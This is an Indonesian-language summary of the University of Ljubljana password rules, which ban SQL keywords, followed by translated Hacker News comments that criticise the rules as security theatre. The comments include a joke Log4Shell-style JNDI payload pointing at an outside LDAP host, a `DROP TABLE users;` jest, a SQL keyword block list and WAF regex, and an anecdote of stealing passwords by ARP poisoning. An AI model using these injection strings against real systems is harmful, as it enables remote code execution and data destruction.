Kata yang tidak boleh digunakan dalam kata sandi: select, insert, update, delete, drop
(id.uni-lj.si)- Reset kata sandi di portal ID University of Ljubljana meminta nama pengguna dan konfirmasi kata sandi baru untuk mengurangi kesalahan input dalam proses pemulihan akun
- Nama pengguna berbentuk seperti alamat email, dengan contoh
js1234@student.uni-lj.si - Kata sandi baru harus terdiri dari minimal 10 karakter dan tidak boleh memuat informasi pribadi yang mudah ditebak seperti nama depan atau nama belakang
- Harus memenuhi setidaknya 3 dari kategori berikut: huruf besar, huruf kecil, angka, dan simbol
-_.+@ - Kata seperti
select,insert,update,delete,dropjuga tidak boleh digunakan dalam kata sandi, sehingga perlu memeriksa pola terlarang selain panjangnya saja
Alur input reset kata sandi
- Layar terdiri dari kolom input Username, New password, dan New password confirmation
- Ketiga kolom semuanya ditandai sebagai required
- Nama pengguna berbentuk seperti alamat email
- Contoh nama pengguna untuk John Smith adalah
js1234@student.uni-lj.si
- Contoh nama pengguna untuk John Smith adalah
- Kata sandi baru harus dimasukkan dua kali untuk mengurangi salah ketik
Aturan kata sandi baru
- Kata sandi baru diperlakukan sebagai sarana untuk melindungi identitas digital pengguna
- Kata sandi yang mudah ditebak harus dihindari
- Contoh: nama depan, nama belakang, nama pasangan, tanggal lahir
- Kata sandi harus terdiri dari minimal 10 karakter
- Tidak boleh memuat nama depan atau nama belakang pengguna
- Harus memenuhi setidaknya 3 dari kriteria berikut
- Huruf besar alfabet Inggris
- Huruf kecil alfabet Inggris
- Angka
- Simbol:
-_.+@
Kata yang tidak boleh digunakan
- Kata sandi tidak boleh memuat kata-kata berikut
selectinsertupdatedeletedrop
1 komentar
Opini Hacker News
Oh, string itu aku yang memasukkannya. Itu permintaan manajemen, dan sampai sekarang aku masih tidak tahu alasannya
Situs ini tidak menyimpan kata sandi; lebih mirip antarmuka yang membungkus sistem manajemen akun eksternal agar terlihat rapi
Aku pernah mendengar rumor bahwa validasi field login di beberapa aplikasi legacy itu aneh, sehingga mahasiswa tidak bisa login dengan kata sandi yang berisi string tertentu, tetapi aku tidak tahu kasus nyata
DROP TABLE users;. Dengan begitu, akan cepat terlihat vendor mana yang menangani kata sandi dengan sangat tidak amanDalam kasus ini, artinya mereka bukan hanya tidak membersihkan input pengguna, tetapi juga tidak melakukan hash atau menyembunyikan kata sandi, jadi ini sudah setingkat gangguan sosial
maxlengthpada field input form loginAku lama tidak mengerti kenapa login bisa berhasil dengan autofill dari password manager, tetapi tidak bisa saat diketik langsung atau ditempel. Ternyata karena autofill mengabaikan
maxlengthKatanya tidak boleh berisi
"script", tetapi saat awal remaja aku pernah meretas platform sosial besar Nettby.noCaranya adalah menghapus semua kata terlarang, dan
scripttermasuk di dalamnyaNettby tidak punya HTTPS, jadi lewat serangan man-in-the-middle ARP poisoning aku mencuri kata sandi semua orang, lalu memposting omong kosong acak dari akun mereka dan menyaksikan kekacauannya. Aku tidak mengintip; sepertinya aku yang berumur 14 tahun pun masih punya etika minimum entah bagaimana
Mungkin akan banyak dikritik, tetapi setidaknya dalam beberapa kasus menurutku ini ide yang lumayan
Di dalam organisasi ada banyak orang yang membuat kode buruk dan arsitektur sistem buruk, sementara orang yang punya kemampuan, wewenang, dan waktu untuk menemukan lalu memaksa perubahan itu kurang
Di AS, sering kali orang terpaksa bekerja melalui situs web yang dikodekan dengan buruk, seperti milik penyedia layanan kesehatan lokal. Dalam kasus seperti ini, mungkin lebih baik mengasumsikan implementasinya bisa mengerikan seperti yang sering terjadi, lalu menyarankan mitigasi yang sesuai
Apakah pola kata sandi yang secara nominal dilarang ternyata benar-benar diizinkan atau tidak bisa dengan mudah diuji pengguna dan dilaporkan ke regulator, tetapi sulit memastikan dari luar apakah implementasinya benar
Ini tidak elegan dan tragis, tetapi secara realistis mungkin lebih baik menerima fakta bahwa pekerjaan sering dikerjakan berantakan dan pengawasannya kurang, lalu memikirkan mitigasi untuk mencegah hasil terburuk
Langkah keamanan seperti ini sering menutupi masalah yang lebih dalam. Biasanya langkah seperti ini dipasang karena input pengguna tidak ditangani dengan hati-hati, tetapi asumsi bahwa memblokir beberapa keyword akan “menetralkan” potensi kerentanan biasanya mudah dibantah. Lihat saja kasus eBay dan JSFuck
Aku tidak suka pola pikir seperti ini. Aku yakin web application firewall (WAF), penetration test yang malas, dan checkbox compliance telah menciptakan teater keamanan dalam jumlah luar biasa, dan membuat perusahaan percaya bahwa software yang ditulis dengan sangat kacau boleh diekspos sebagian ke internet publik karena “aman” dan mereka sudah “melakukan due diligence”
Akibatnya, aku menerima surat permintaan maaf lewat pos bahwa informasi paling sensitifku bocor lagi dari perusahaan yang nyaris tidak memberiku pilihan nyata selain menyerahkan dataku. Tentu saja mereka semua sangat menghargai dataku, sehingga membiarkannya dicuri lewat kerentanan library serialisasi Java yang sudah berusia puluhan tahun
[1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
Itu terlihat buruk bagi lembaga mana pun, tetapi lebih parah lagi jika lembaga itu universitas, yang semestinya menjadi benteng orang-orang yang kompeten dan berwenang
Sebagai saran umum soal kata sandi, justru semua orang sebaiknya memasukkan keyword seperti ini ke kata sandi mereka agar bug cepat terungkap. Jangan sampai bug itu tetap tersembunyi lalu hanya dimanfaatkan penyerang
Setelah diberi salt lalu di-hash, proses hash harus diterapkan ratusan ribu kali, lalu dibandingkan dengan nilai salt dan hash yang disimpan di file
Kalau tidak bisa melakukan ini saja, tidak layak menulis software yang menyimpan kredensial. Serius. Keamanan software dimulai dari pengakuan bahwa data itu beracun, dan jika tidak dihormati, bisa membuat perusahaan bangkrut
Jika harus khawatir sistem memasukkan kata sandi plaintext ke tabel database, maka di sistem itu ada sejuta hal lain yang bisa berjalan sangat buruk. Misalnya, bagaimana kalau DBA menyalin-tempel SQL dari Stack Overflow
Jika organisasi punya engineer yang tidak kompeten, lebih baik jangan biarkan mereka mengimplementasikan sistem autentikasi sendiri; gunakan framework open source yang banyak dipakai atau produk komersial
Jika alur autentikasi melakukan hal lain selain menerapkan salt dan hash pada kata sandi lalu membuang kata sandi plaintext asli, seluruh sistem itu sebaiknya tidak dipakai sama sekali
Tidak apa-apa. Sebagai gantinya, pakai saja
truncateHal paling lucu dari situasi ini adalah mereka bahkan tidak memeriksa semua string terlarang
Sumber: aku mahasiswa di kampus itu, dan karena penasaran aku mencobanya sendiri
Alih-alih membuat injeksi SQL benar-benar mustahil dengan stored procedure yang tepat dan teknik lain, mereka hanya membatasi beberapa kata kunci dan berharap peretas tidak memikirkan cara yang tidak terpikirkan oleh mereka, seperti trik escaping.
Mungkin akan berfungsi untuk sementara, sampai seseorang membuktikan bahwa itu tidak berhasil.
Memastikan input pengguna tidak tercampur dengan SQL sekarang bukan lagi ilmu roket. Ini bukan tahun 2005.
Kalau ini memang efektif sejak awal, berarti mereka menyimpan kata sandi tanpa di-hash, dan itu sudah bodoh bahkan pada 2005. Kalau pendekatan yang sama dipakai untuk nama pengguna atau field input lain, mungkin sedikit lebih masuk akal, tetapi kata sandi sama sekali tidak boleh masuk ke database dengan cara seperti itu.
Seseorang mengusulkan field yang dipisahkan dengan pipe, tetapi itu juga ditolak. Alasannya kira-kira “dulu beberapa proxy pelanggan menolak header yang berisi karakter pipe”.
Pemrograman ala voodoo tidak selalu hanya muncul karena kurang investigasi. Kadang itu muncul dari kasus ketika kita tahu ada sesuatu yang pernah bermasalah, tetapi tidak ada buktinya, dan tidak ada cara untuk menanganinya.
Secara pribadi, saya ingin langsung merilisnya dan melihat apakah ada yang rusak, lalu menyelesaikannya dengan pelanggan setelahnya jika perlu. Tentu saja, pendekatan itu tidak populer karena alasan yang jelas dan baik, jadi akhirnya kami tidak memakai karakter pipe.
Sepertinya script CGI-nya juga saya jalankan dalam taint mode. Ada yang ingat itu?
RDBMS bisa saja mendukung fungsi hash, sehingga bisa disimpan seperti
UPDATE USERS SET PASSWORD = SHA2($PASSWORD). Dalam kasus ini, ia rentan terhadap injeksi SQL, tetapi bukan berarti menyimpan kata sandi yang belum di-hash.Ada alasan bagus untuk menyarankan agar hashing dilakukan di lapisan aplikasi, tetapi jika memakai query berparameter dengan benar, melakukannya di database juga tidak terlalu mengerikan.
Fiuh, pasti tidak akan ketahuan. Kata sandi saya adalah
${jndi:ldap://hunter2.com/totallylegit}Domain hanya boleh berisi karakter ASCII
a-zdan angka0-9; tanda bintang tidak diizinkan. Satu-satunya simbol yang diizinkan adalah tanda hubung, dan itu pun tidak boleh berada di awal atau akhir.Jika dilihat secara optimistis, persyaratan ini mungkin berasal dari web application firewall (WAF) yang terlalu ketat.
Komentar lain melihat ini sebagai “bukti” bahwa keamanan aplikasinya buruk, tetapi menurut saya kita tidak bisa menyimpulkan sejauh itu. Namun, kita bisa menyimpulkan bahwa sebagian stack-nya diimplementasikan dengan buruk.
Kedengarannya seperti sisa warisan dari sistem lama. Saya pernah mendengar bahwa beberapa universitas dan bank memakai mainframe lama untuk autentikasi terpusat.
Dalam beberapa kasus, saya dengar kata sandi disimpan dalam plaintext, dipotong menjadi 8 karakter, dan hanya huruf kapital yang diizinkan.
Alasan utama sistem seperti ini tidak di-upgrade, setidaknya dari yang saya dengar, adalah biaya dan kompleksitas. Daripada mengeluarkan
$$$$untuk meng-upgrade sistem yang masih berjalan, lebih baik mengeluarkan$saja untuk membatasi kata sandi dan menambahkan “keamanan” dasar, kira-kira begitu.Beberapa tahun lalu saya sedang membuat aplikasi yang memposting tulisan lewat WordPress API. Para pelanggan memasang WordPress di berbagai lingkungan hosting mereka masing-masing, dan di sana ada berbagai fitur “keamanan”.
Saya menerima laporan bug bahwa ketika memposting tulisan ke blog, prosesnya gagal dan konten kosong yang terunggah. Ternyata plugin keamanan seperti ini memindai tulisan blog yang panjang, lalu jika menemukan sesuatu seperti
.... select from, plugin itu mengganti parameter POST tersebut menjadi string kosong.Saya juga melihat laporan bug pelanggan yang mirip: di dalam field JSON berisi teks HTML dari permintaan yang dikirim server kami, ada JavaScript yang diobfuscate disisipkan. Saya tidak yakin apakah itu plugin “keamanan” atau malware.
select, biasanya sebagai bagian dari nama parameter sepertiitemselect. Jadi saya mencari apakah ada filter semacam WAF di suatu tempat dalam stack.Akhirnya saya menemukan konfigurasi lama yang masih tersisa di server proxy, bahkan sebelum mereka memakai WAF komersial, dan konfigurasi itu mencari
SELECT.*UNION.Ketika saya melihat URL-nya lagi, semuanya juga punya parameter seperti
company=credit+union. Saya menepuk jidat, menghapus kode itu, dan perlindungan di tempat lain sudah cukup.